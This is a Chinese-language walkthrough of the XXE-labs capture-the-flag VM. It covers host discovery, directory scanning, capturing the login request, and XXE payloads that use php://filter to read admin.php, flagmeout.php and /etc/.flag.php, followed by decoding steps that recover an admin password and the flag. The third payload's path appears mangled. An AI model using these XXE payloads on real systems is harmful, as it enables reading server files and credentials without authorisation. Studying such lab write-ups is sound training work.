XXE-labs靶场通关攻略

前期准备

1.安装靶机

2.打开kali虚拟机

扫描网段

arp-scan -l

得到靶机ip:192.168.164.143,浏览器访问

出现此页面说明靶场安装成功

使用御剑后台扫描工具扫描靶机ip

得到一个 robots.txt 文件,尝试访问

分别访问这两个目录

http://192.168.164.143/admin.php

访问失败,尝试访问另一个

http://192.168.164.143/xxe/

出现一个登录页面,输入任意 Name 和 Psaaword ,使用bp抓取登录数据包

发送到重放器进行页面渲染

发现 name 位置为回显位,我们可以构造xxe攻击,具体操作如下

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=admin.php" > ]>

<root>
  <name>
    &xxe;
  </name>
  <password>
    1
  </password>
</root>

复制右边的一串数据,进行一次base64解码

这样我们就能在解码后的php代码中找到 username 和 password

其中的密码需要根据提示进行md5解密,解密后得到密码为:admin@123

尝试访问

http://192.168.164.143/xxe/admin.php

得到一个登录页面,使用前面的账号密码登录

点击Flag,又能得到一个php文件

再次读取该文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=flagmeout.php" > ]>

<root>
  <name>
    &xxe;
  </name>
  <password>
    1
  </password>
</root>

复制右边的一串数据,进行一次base64解码

根据得到的php代码可知flag的位置,复制括号中的内容进行一次base64解码

解析失败,尝试进行base32解码

把再次得到的内容进行一次base64解码

我们可以得到一个存放flag的目录,再次读取该文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/.flag.phpfile:///etc/.flag.php" > ]>

<root>
  <name>
    &xxe;
  </name>
  <password>
    1
  </password>
</root>

得到一串乱码,在自己的网站根目录(www)下新建一个php文件,将这一串乱码复制到其中

注意:乱码复制到 1.php 中时要添加php格式

浏览器访问该文件,就能得到flag

上一篇:【无标题】


下一篇:django基于python的企业it资产管理系统